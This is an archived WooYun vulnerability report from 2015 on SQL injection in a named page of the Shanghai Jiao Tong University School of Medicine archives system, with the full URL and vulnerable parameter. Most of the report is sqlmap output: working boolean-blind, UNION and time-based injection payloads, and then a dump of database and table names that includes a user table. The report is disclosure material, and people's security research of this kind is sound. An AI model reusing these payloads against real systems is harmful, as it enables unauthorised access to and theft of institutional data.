乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-22: 细节已通知厂商并且等待厂商处理中 2015-04-22: 厂商已经确认,细节仅向厂商公开 2015-05-02: 细节向核心白帽子及相关领域专家公开 2015-05-12: 细节向普通白帽子公开 2015-05-22: 细节向实习白帽子公开 2015-06-06: 细节向公众公开
rt...
上海交通大学医学院档案馆http://archives.shsmu.edu.cn:7001/jdyxyinfoplat/WebRoot/platformData/infoplat/pub/jdyxy_2522/xyrw/jdyxy_fifth_more_new1.jsp?id=58
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=58' AND 1149=1149 AND 'FWQr'='FWQr Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: id=58' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(105)+CHAR(104)+CHAR(111)+CHAR(113)+CHAR(85)+CHAR(122)+CHAR(72)+CHAR(71)+CHAR(120)+CHAR(117)+CHAR(102)+CHAR(78)+CHAR(90)+CHAR(80)+CHAR(113)+CHAR(108)+CHAR(100)+CHAR(113)+CHAR(113)-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query) Payload: id=58' AND 2872=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'uYex'='uYex---[10:02:35] [INFO] the back-end DBMS is Microsoft SQL Serverweb application technology: JSPback-end DBMS: Microsoft SQL Server 2005[10:02:36] [INFO] fetching database names[10:02:36] [INFO] the SQL query used returns 11 entries[10:02:36] [INFO] resumed: "archives"[10:02:36] [INFO] resumed: "CB12"[10:02:36] [INFO] resumed: "dangAn"[10:02:36] [INFO] resumed: "image"[10:02:36] [INFO] resumed: "ls"[10:02:36] [INFO] resumed: "master"[10:02:36] [INFO] resumed: "model"[10:02:36] [INFO] resumed: "msdb"[10:02:36] [INFO] resumed: "tempdb"[10:02:36] [INFO] resumed: "templatedb"[10:02:36] [INFO] resumed: "zxtemp"available databases [11]: [*] archives[*] CB12[*] dangAn[*] image[*] ls[*] master[*] model[*] msdb[*] tempdb[*] templatedb[*] zxtemp
10:04:13] [INFO] the SQL query used returns 56 entries[10:04:15] [INFO] retrieved: "dbo.CB21"[10:04:17] [INFO] retrieved: "dbo.dtproperties"[10:04:19] [INFO] retrieved: "dbo.sys_coding_item"[10:04:22] [INFO] retrieved: "dbo.sys_coding_item"[10:04:24] [INFO] retrieved: "dbo.sys_data_export_detail"[10:04:26] [INFO] retrieved: "dbo.sys_data_export_detail"[10:04:28] [INFO] retrieved: "dbo.sys_errorinfo"[10:04:31] [INFO] retrieved: "dbo.sys_image_server"[10:04:33] [INFO] retrieved: "dbo.sys_log"[10:04:35] [INFO] retrieved: "dbo.SYS_PARAM"[10:04:37] [INFO] retrieved: "dbo.sys_report"[10:04:40] [INFO] retrieved: "dbo.sys_subsystem"[10:04:42] [INFO] retrieved: "dbo.sys_tableid"[10:04:44] [INFO] retrieved: "dbo.sys_user"[10:04:46] [INFO] retrieved: "dbo.wf_flow"[10:04:48] [INFO] retrieved: "dbo.wf_node_user"[10:04:50] [INFO] retrieved: "dbo.wf_node_user"[10:04:53] [INFO] retrieved: "dbo.work_architem"[10:04:55] [INFO] retrieved: "dbo.work_archquery"[10:04:57] [INFO] retrieved: "dbo.work_archquerysub"
.......就不一一列举了
危害等级:高
漏洞Rank:15
确认时间:2015-04-22 10:34
立即安排处理
暂无